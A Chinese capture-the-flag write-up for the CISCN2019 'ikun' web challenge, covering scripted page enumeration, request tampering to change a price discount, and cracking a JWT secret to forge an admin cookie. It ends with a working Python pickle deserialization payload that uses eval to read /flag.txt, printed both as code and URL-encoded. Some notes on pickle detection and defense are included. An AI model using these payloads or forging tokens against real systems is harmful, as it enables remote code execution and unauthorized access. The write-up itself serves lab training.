[CISCN2019 华北赛区 Day1 Web2]ikun

2

发现要先找到lv6

找到lv6的脚本：

1
2
3
4
5
6
7
8
9
import requests
url="http://c0fe0b30-9fdd-41ce-b289-8d6630c49212.node5.buuoj.cn:81/shop?page="

for i in range(0,2000):
    print(i)
    r=requests.get( url + str(i) )
    if 'lv6.png' in r.text:
        print (i)
        break

更高级的：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import threading
import time

import requests


def go(st, ed):
    for i in range(st, ed):
        url = 'http://c0fe0b30-9fdd-41ce-b289-8d6630c49212.node5.buuoj.cn:81/shop?page='
        url += str(i)
        r = requests.get(url, timeout=2)
        if 'lv6.png' in r.text:
            print(r.url)
        time.sleep(0.1)


if __name__ == '__main__':
    threads = []
    for i in range(0, 10):
        t = threading.Thread(target=go, args=(i * 20, (i + 1) * 20))
        threads.append(t)

    for item in threads:
        item.start()

找到在181的页面上：
3

在进行购买，发现买不起，可以修改金额和折扣来买它，抓包后发现只能通过抓包来修改折扣，修改折扣后给你一个

4

可以发现有个cookie，猜测是

jwt

，直接复制cookie，再

https://jwt.io

用c-jwt-cracker爆破jwt256-bit-secret

修改成admin将jwt换成该字符串，5

登录这个网站ctrl+u,有个源码泄露6

7

知识点：pickle：

提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。

pickle模块只能在python中使用，python中几乎所有的数据类型（列表，字典，集合，类等）都可以用pickle来序列化，
pickle序列化后的数据，可读性差，人一般无法识别。

1
p = pickle.loads(urllib.unquote(become))
1
urllib.unquote:将存入的字典参数编码为URL查询字符串，即转换成以key1 = value1 & key2 = value2的形式pickle.loads(bytes_object): 从字节对象中读取被封装的对象，并返回我看了师傅们的博客之后的理解就是，我们构建一个类，类里面的__reduce__python魔术方法会在该类被反序列化的时候会被调用Pickle模块中最常用的函数为：
1
2
3
4
5
6
pickle.dump(obj, file, [,protocol])
函数的功能：将obj对象序列化存入已经打开的file中。
参数讲解：
obj：想要序列化的obj对象。
file:文件名称。
protocol：序列化使用的协议。如果该项省略，则默认为0。如果为负值或HIGHEST_PROTOCOL，则使用最高的协议版本。
1
2
3
4
pickle.load(file)
函数的功能：将file中的对象序列化读出。
参数讲解：
file：文件名称。
1
2
3
4
pickle.loads(string)
函数的功能：从string中读出序列化前的obj对象。
参数讲解：
string：文件名称。
1
【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力：dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中，随后调用load()来以同样的顺序反序列化读出这些对象。而在__reduce__方法里面我们就进行读取flag.txt文件，并将该类序列化之后进行URL编码

检测反序列化方法：

1
2
3
4
5
pickle.dumps(obj[, protocol])
函数的功能：将obj对象序列化为string形式，而不是存入文件中。
参数讲解：
obj：想要序列化的obj对象。
protocal：如果该项省略，则默认为0。如果为负值或HIGHEST_PROTOCOL，则使用最高的协议版本。
1
2
3
4
5
6
pickle.loads(string)
函数的功能：从string中读出序列化前的obj对象。
参数讲解：
string：文件名称。
【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力：dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中，随后调用load()来以同样的顺序反序列化读出这些对象。而在__reduce__方法里面我们就进行读取flag.txt文件，并将该类序列化之后进行URL编码

检测反序列化方法：

1
全局搜索Python代码中是否含有关键字类似“import cPickle”或“import pickle”等，若存在则进一步确认是否调用cPickle.loads()或pickle.loads()且反序列化的参数可控。

防御方法

1
2
1、用更高级的接口__getnewargs()、__getstate__()、__setstate__()等代替__reduce__()魔术方法；
2、进行反序列化操作之前，进行严格的过滤，若采用的是pickle库可采用装饰器实现。

打洞

1
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
1
2
3
4
5
6
7
8
9
10
import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

__

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.